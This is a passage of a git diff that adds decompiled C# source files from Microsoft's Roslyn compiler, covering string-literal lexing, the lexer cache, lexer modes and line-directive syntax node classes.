(base.HasErrors ? "" : TextWindow.Intern(_builder)); + TextWindow.Reset(position2); + } + finally + { + instance.Free(); + instance2.Free(); + } + } + + private bool ScanMultiLineRawStringLiteralLine(int startingQuoteCount, StringBuilder indentationWhitespace) + { + TextWindow.AdvancePastNewLine(); + indentationWhitespace.Clear(); + ConsumeWhitespace(indentationWhitespace); + int num = ConsumeQuoteSequence(); + if (num >= startingQuoteCount) + { + if (num > startingQuoteCount) + { + int num2 = num - startingQuoteCount; + AddError(TextWindow.Position - num2, num2, ErrorCode.ERR_TooManyQuotesForRawString); + } + return false; + } + while (true) + { + char c = TextWindow.PeekChar(); + if (IsAtEndOfText(c)) + { + AddError(TextWindow.Position, 0, ErrorCode.ERR_UnterminatedRawString); + return false; + } + if (SyntaxFacts.IsNewLine(c)) + { + return true; + } + if (c == '"') + { + num = ConsumeQuoteSequence(); + if (num >= startingQuoteCount) + { + break; + } + } + else + { + TextWindow.AdvanceChar(); + } + } + AddError(TextWindow.Position - num, num, ErrorCode.ERR_RawStringDelimiterOnOwnLine); + return false; + } + + private void AddMultiLineRawStringLiteralLineContents(StringBuilder indentationWhitespace, StringBuilder currentLineWhitespace, bool firstContentLine) + { + int newLineWidth = TextWindow.GetNewLineWidth(); + for (int i = 0; i < newLineWidth; i++) + { + if (!firstContentLine) + { + _builder.Append(TextWindow.PeekChar()); + } + TextWindow.AdvanceChar(); + } + int position = TextWindow.Position; + currentLineWhitespace.Clear(); + ConsumeWhitespace(currentLineWhitespace); + if (!StartsWith(currentLineWhitespace, indentationWhitespace) && (!SyntaxFacts.IsNewLine(TextWindow.PeekChar()) || !StartsWith(indentationWhitespace, currentLineWhitespace))) + { + if (CheckForSpaceDifference(currentLineWhitespace, indentationWhitespace, out string currentLineMessage, out string indentationLineMessage)) + { + AddError(position, TextWindow.Position - position, ErrorCode.ERR_LineContainsDifferentWhitespace, currentLineMessage, indentationLineMessage); + } + else + { + AddError(position, TextWindow.Position - position, ErrorCode.ERR_LineDoesNotStartWithSameWhitespace); + } + return; + } + for (int j = indentationWhitespace.Length; j < currentLineWhitespace.Length; j++) + { + _builder.Append(currentLineWhitespace[j]); + } + while (true) + { + char c = TextWindow.PeekChar(); + if (SyntaxFacts.IsNewLine(c)) + { + break; + } + _builder.Append(c); + TextWindow.AdvanceChar(); + } + } + + private static bool CheckForSpaceDifference(StringBuilder currentLineWhitespace, StringBuilder indentationLineWhitespace, [NotNullWhen(true)] out string? currentLineMessage, [NotNullWhen(true)] out string? indentationLineMessage) + { + int i = 0; + for (int num = Math.Min(currentLineWhitespace.Length, indentationLineWhitespace.Length); i < num; i++) + { + char c = currentLineWhitespace[i]; + char c2 = indentationLineWhitespace[i]; + if (c != c2 && SyntaxFacts.IsWhitespace(c) && SyntaxFacts.IsWhitespace(c2)) + { + currentLineMessage = CharToString(c); + indentationLineMessage = CharToString(c2); + return true; + } + } + currentLineMessage = null; + indentationLineMessage = null; + return false; + } + + public static string CharToString(char ch) + { + return ch switch + { + '\t' => "\\t", + '\v' => "\\v", + '\f' => "\\f", + _ => $"\\u{(int)ch:x4}", + }; + } + + private static bool StartsWith(StringBuilder sb, StringBuilder value) + { + if (sb.Length < value.Length) + { + return false; + } + for (int i = 0; i < value.Length; i++) + { + if (sb[i] != value[i]) + { + return false; + } + } + return true; + } + + private void ScanStringLiteral(ref TokenInfo info, bool inDirective) + { + char c = TextWindow.PeekChar(); + if (TextWindow.PeekChar() == '"' && TextWindow.PeekChar(1) == '"' && TextWindow.PeekChar(2) == '"') + { + ScanRawStringLiteral(ref info, inDirective); + if (inDirective) + { + info.Kind = SyntaxKind.StringLiteralToken; + info.StringValue = ""; + AddError(ErrorCode.ERR_RawStringNotInDirectives); + } + return; + } + TextWindow.AdvanceChar(); + _builder.Length = 0; + while (true) + { + char c2 = TextWindow.PeekChar(); + if (c2 == '\\' && !inDirective) + { + c2 = ScanEscapeSequence(out var surrogateCharacter); + _builder.Append(c2); + if (surrogateCharacter != '\uffff') + { + _builder.Append(surrogateCharacter); + } + continue; + } + if (c2 == c) + { + TextWindow.AdvanceChar(); + break; + } + if (SyntaxFacts.IsNewLine(c2) || (c2 == '\uffff' && TextWindow.IsReallyAtEnd())) + { + AddError(ErrorCode.ERR_NewlineInConst); + break; + } + TextWindow.AdvanceChar(); + _builder.Append(c2); + } + if (c == '\'') + { + info.Text = TextWindow.GetText(intern: true); + info.Kind = SyntaxKind.CharacterLiteralToken; + if (_builder.Length != 1) + { + AddError((_builder.Length != 0) ? ErrorCode.ERR_TooManyCharsInConst : ErrorCode.ERR_EmptyCharConst); + } + if (_builder.Length > 0) + { + info.StringValue = TextWindow.Intern(_builder); + info.CharValue = info.StringValue[0]; + } + else + { + info.StringValue = string.Empty; + info.CharValue = '\uffff'; + } + } + else + { + if (!inDirective && ScanUtf8Suffix()) + { + info.Kind = SyntaxKind.Utf8StringLiteralToken; + } + else + { + info.Kind = SyntaxKind.StringLiteralToken; + } + info.Text = TextWindow.GetText(intern: true); + if (_builder.Length > 0) + { + info.StringValue = TextWindow.Intern(_builder); + } + else + { + info.StringValue = string.Empty; + } + } + } + + private bool ScanUtf8Suffix() + { + char c = TextWindow.PeekChar(); + bool flag = ((c == 'U' || c == 'u') ? true : false); + if (flag && TextWindow.PeekChar(1) == '8') + { + TextWindow.AdvanceChar(2); + return true; + } + return false; + } + + private char ScanEscapeSequence(out char surrogateCharacter) + { + int position = TextWindow.Position; + surrogateCharacter = '\uffff'; + char c = TextWindow.NextChar(); + c = TextWindow.NextChar(); + switch (c) + { + case '0': + c = '\0'; + break; + case 'a': + c = '\a'; + break; + case 'b': + c = '\b'; + break; + case 'f': + c = '\f'; + break; + case 'n': + c = '\n'; + break; + case 'r': + c = '\r'; + break; + case 't': + c = '\t'; + break; + case 'v': + c = '\v'; + break; + case 'U': + case 'u': + case 'x': + { + TextWindow.Reset(position); + c = NextUnicodeEscape(out surrogateCharacter, out SyntaxDiagnosticInfo info); + AddError(info); + break; + } + default: + AddError(position, TextWindow.Position - position, ErrorCode.ERR_IllegalEscape); + break; + case '"': + case '\'': + case '\\': + break; + } + return c; + } + + private void ScanVerbatimStringLiteral(ref TokenInfo info) + { + _builder.Length = 0; + int position = TextWindow.Position; + while (TextWindow.PeekChar() == '@') + { + TextWindow.AdvanceChar(); + } + if (TextWindow.Position - position >= 2) + { + AddError(position, TextWindow.Position - position, ErrorCode.ERR_IllegalAtSequence); + } + TextWindow.AdvanceChar(); + while (true) + { + char c = TextWindow.PeekChar(); + if (c == '"') + { + TextWindow.AdvanceChar(); + if (TextWindow.PeekChar() != '"') + { + break; + } + TextWindow.AdvanceChar(); + _builder.Append(c); + } + else + { + if (c == '\uffff' && TextWindow.IsReallyAtEnd()) + { + AddError(ErrorCode.ERR_UnterminatedStringLit); + break; + } + TextWindow.AdvanceChar(); + _builder.Append(c); + } + } + if (ScanUtf8Suffix()) + { + info.Kind = SyntaxKind.Utf8StringLiteralToken; + } + else + { + info.Kind = SyntaxKind.StringLiteralToken; + } + info.Text = TextWindow.GetText(intern: false); + info.StringValue = _builder.ToString(); + } + + private void ScanInterpolatedStringLiteral(ref TokenInfo info) + { + ScanInterpolatedStringLiteralTop(ref info, out SyntaxDiagnosticInfo error, out InterpolatedStringKind _, out Range _, null, out Range _); + AddError(error); + } + + internal void ScanInterpolatedStringLiteralTop(ref TokenInfo info, out SyntaxDiagnosticInfo? error, out InterpolatedStringKind kind, out Range openQuoteRange, ArrayBuilder? interpolations, out Range closeQuoteRange) + { + InterpolatedStringScanner interpolatedStringScanner = new InterpolatedStringScanner(this); + interpolatedStringScanner.ScanInterpolatedStringLiteralTop(out kind, out openQuoteRange, interpolations, out closeQuoteRange); + error = interpolatedStringScanner.Error; + info.Kind = SyntaxKind.InterpolatedStringToken; + info.Text = TextWindow.GetText(intern: false); + } + + internal static SyntaxToken RescanInterpolatedString(InterpolatedStringExpressionSyntax interpolatedString) + { + string text = ((object)interpolatedString).ToString(); + SyntaxKind kind = SyntaxKind.InterpolatedStringToken; + return SyntaxFactory.Literal(interpolatedString.GetFirstToken().GetLeadingTrivia(), text, kind, text, interpolatedString.GetLastToken().GetTrailingTrivia()); + } + + private SyntaxToken? QuickScanSyntaxToken() + { + Start(); + QuickScanState quickScanState = QuickScanState.Initial; + int num = TextWindow.Offset; + int characterWindowCount = TextWindow.CharacterWindowCount; + characterWindowCount = Math.Min(characterWindowCount, num + 42); + int num2 = -2128831035; + char[] characterWindow = TextWindow.CharacterWindow; + int length = CharProperties.Length; + while (true) + { + if (num < characterWindowCount) + { + int num3 = characterWindow[num]; + CharFlags charFlags = (CharFlags)((num3 < length) ? CharProperties[num3] : 9); + quickScanState = (QuickScanState)s_stateTransitions[(uint)quickScanState, (uint)charFlags]; + if ((int)quickScanState >= 9) + { + break; + } + num2 = (num2 ^ num3) * 16777619; + num++; + continue; + } + quickScanState = QuickScanState.Bad; + break; + } + TextWindow.AdvanceChar(num - TextWindow.Offset); + if (quickScanState == QuickScanState.Done) + { + return _cache.LookupToken(TextWindow.CharacterWindow, TextWindow.LexemeRelativeStart, num - TextWindow.LexemeRelativeStart, num2, _createQuickTokenFunction); + } + TextWindow.Reset(TextWindow.LexemeStartPosition); + return null; + } + + private SyntaxToken CreateQuickToken() + { + TextWindow.Reset(TextWindow.LexemeStartPosition); + return LexSyntaxToken(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LexerCache.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LexerCache.cs new file mode 100644 index 0000000..66a53d6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LexerCache.cs @@ -0,0 +1,73 @@ +using System; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class LexerCache +{ + private static readonly ObjectPool> s_keywordKindPool = CachingIdentityFactory.CreatePool(512, (Func)delegate(string key) + { + SyntaxKind syntaxKind = SyntaxFacts.GetKeywordKind(key); + if (syntaxKind == SyntaxKind.None) + { + syntaxKind = SyntaxFacts.GetContextualKeywordKind(key); + } + return syntaxKind; + }); + + private readonly TextKeyedCache _triviaMap; + + private readonly TextKeyedCache _tokenMap; + + private readonly CachingIdentityFactory _keywordKindMap; + + internal const int MaxKeywordLength = 10; + + internal LexerCache() + { + _triviaMap = TextKeyedCache.GetInstance(); + _tokenMap = TextKeyedCache.GetInstance(); + _keywordKindMap = s_keywordKindPool.Allocate(); + } + + internal void Free() + { + _keywordKindMap.Free(); + _triviaMap.Free(); + _tokenMap.Free(); + } + + internal bool TryGetKeywordKind(string key, out SyntaxKind kind) + { + if (key.Length > 10) + { + kind = SyntaxKind.None; + return false; + } + kind = _keywordKindMap.GetOrMakeValue(key); + return kind != SyntaxKind.None; + } + + internal SyntaxTrivia LookupTrivia(char[] textBuffer, int keyStart, int keyLength, int hashCode, Func createTriviaFunction) + { + SyntaxTrivia syntaxTrivia = _triviaMap.FindItem(textBuffer, keyStart, keyLength, hashCode); + if (syntaxTrivia == null) + { + syntaxTrivia = createTriviaFunction(); + _triviaMap.AddItem(textBuffer, keyStart, keyLength, hashCode, syntaxTrivia); + } + return syntaxTrivia; + } + + internal SyntaxToken LookupToken(char[] textBuffer, int keyStart, int keyLength, int hashCode, Func createTokenFunction) + { + SyntaxToken syntaxToken = _tokenMap.FindItem(textBuffer, keyStart, keyLength, hashCode); + if (syntaxToken == null) + { + syntaxToken = createTokenFunction(); + _tokenMap.AddItem(textBuffer, keyStart, keyLength, hashCode, syntaxToken); + } + return syntaxToken; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LexerMode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LexerMode.cs new file mode 100644 index 0000000..ff1a88d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LexerMode.cs @@ -0,0 +1,33 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +[Flags] +internal enum LexerMode +{ + Syntax = 1, + DebuggerSyntax = 2, + Directive = 4, + XmlDocComment = 8, + XmlElementTag = 0x10, + XmlAttributeTextQuote = 0x20, + XmlAttributeTextDoubleQuote = 0x40, + XmlCrefQuote = 0x80, + XmlCrefDoubleQuote = 0x100, + XmlNameQuote = 0x200, + XmlNameDoubleQuote = 0x400, + XmlCDataSectionText = 0x800, + XmlCommentText = 0x1000, + XmlProcessingInstructionText = 0x2000, + XmlCharacter = 0x4000, + MaskLexMode = 0xFFFF, + XmlDocCommentLocationStart = 0, + XmlDocCommentLocationInterior = 0x10000, + XmlDocCommentLocationExterior = 0x20000, + XmlDocCommentLocationEnd = 0x40000, + MaskXmlDocCommentLocation = 0xF0000, + XmlDocCommentStyleSingleLine = 0, + XmlDocCommentStyleDelimited = 0x100000, + MaskXmlDocCommentStyle = 0x300000, + None = 0 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineDirectivePositionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineDirectivePositionSyntax.cs new file mode 100644 index 0000000..9bae610 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineDirectivePositionSyntax.cs @@ -0,0 +1,171 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LineDirectivePositionSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken openParenToken; + + internal readonly SyntaxToken line; + + internal readonly SyntaxToken commaToken; + + internal readonly SyntaxToken character; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public SyntaxToken Line => line; + + public SyntaxToken CommaToken => commaToken; + + public SyntaxToken Character => character; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal LineDirectivePositionSyntax(SyntaxKind kind, SyntaxToken openParenToken, SyntaxToken line, SyntaxToken commaToken, SyntaxToken character, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)line); + this.line = line; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)commaToken); + this.commaToken = commaToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)character); + this.character = character; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal LineDirectivePositionSyntax(SyntaxKind kind, SyntaxToken openParenToken, SyntaxToken line, SyntaxToken commaToken, SyntaxToken character, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)line); + this.line = line; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)commaToken); + this.commaToken = commaToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)character); + this.character = character; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal LineDirectivePositionSyntax(SyntaxKind kind, SyntaxToken openParenToken, SyntaxToken line, SyntaxToken commaToken, SyntaxToken character, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)line); + this.line = line; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)commaToken); + this.commaToken = commaToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)character); + this.character = character; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => line, + 2 => commaToken, + 3 => character, + 4 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectivePositionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLineDirectivePosition(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLineDirectivePosition(this); + } + + public LineDirectivePositionSyntax Update(SyntaxToken openParenToken, SyntaxToken line, SyntaxToken commaToken, SyntaxToken character, SyntaxToken closeParenToken) + { + if (openParenToken != OpenParenToken || line != Line || commaToken != CommaToken || character != Character || closeParenToken != CloseParenToken) + { + LineDirectivePositionSyntax lineDirectivePositionSyntax = SyntaxFactory.LineDirectivePosition(openParenToken, line, commaToken, character, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + lineDirectivePositionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(lineDirectivePositionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + lineDirectivePositionSyntax = GreenNodeExtensions.WithAnnotationsGreen(lineDirectivePositionSyntax, (IEnumerable)annotations); + } + return lineDirectivePositionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LineDirectivePositionSyntax(base.Kind, openParenToken, line, commaToken, character, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LineDirectivePositionSyntax(base.Kind, openParenToken, line, commaToken, character, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LineDirectivePositionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 5; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + line = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + commaToken = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + character = syntaxToken4; + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + closeParenToken = syntaxToken5; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)line); + writer.WriteValue((IObjectWritable)(object)commaToken); + writer.WriteValue((IObjectWritable)(object)character); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static LineDirectivePositionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LineDirectivePositionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LineDirectivePositionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..a17d637 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineDirectiveTriviaSyntax.cs @@ -0,0 +1,192 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LineDirectiveTriviaSyntax : LineOrSpanDirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken lineKeyword; + + internal readonly SyntaxToken line; + + internal readonly SyntaxToken? file; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public override SyntaxToken LineKeyword => lineKeyword; + + public SyntaxToken Line => line; + + public override SyntaxToken? File => file; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal LineDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken lineKeyword, SyntaxToken line, SyntaxToken? file, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lineKeyword); + this.lineKeyword = lineKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)line); + this.line = line; + if (file != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal LineDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken lineKeyword, SyntaxToken line, SyntaxToken? file, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lineKeyword); + this.lineKeyword = lineKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)line); + this.line = line; + if (file != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal LineDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken lineKeyword, SyntaxToken line, SyntaxToken? file, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lineKeyword); + this.lineKeyword = lineKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)line); + this.line = line; + if (file != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => lineKeyword, + 2 => line, + 3 => file, + 4 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LineDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLineDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLineDirectiveTrivia(this); + } + + public LineDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken lineKeyword, SyntaxToken line, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || lineKeyword != LineKeyword || line != Line || file != File || endOfDirectiveToken != EndOfDirectiveToken) + { + LineDirectiveTriviaSyntax lineDirectiveTriviaSyntax = SyntaxFactory.LineDirectiveTrivia(hashToken, lineKeyword, line, file, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + lineDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(lineDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + lineDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(lineDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return lineDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LineDirectiveTriviaSyntax(base.Kind, hashToken, lineKeyword, line, file, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LineDirectiveTriviaSyntax(base.Kind, hashToken, lineKeyword, line, file, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LineDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 5; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + lineKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + line = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + file = syntaxToken4; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + endOfDirectiveToken = syntaxToken5; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)lineKeyword); + writer.WriteValue((IObjectWritable)(object)line); + writer.WriteValue((IObjectWritable)(object)file); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static LineDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LineDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LineDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineOrSpanDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineOrSpanDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..df6948b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineOrSpanDirectiveTriviaSyntax.cs @@ -0,0 +1,25 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class LineOrSpanDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public abstract SyntaxToken LineKeyword { get; } + + public abstract SyntaxToken? File { get; } + + internal LineOrSpanDirectiveTriviaSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal LineOrSpanDirectiveTriviaSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected LineOrSpanDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineSpanDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineSpanDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..c38ecac --- /dev/null +++ 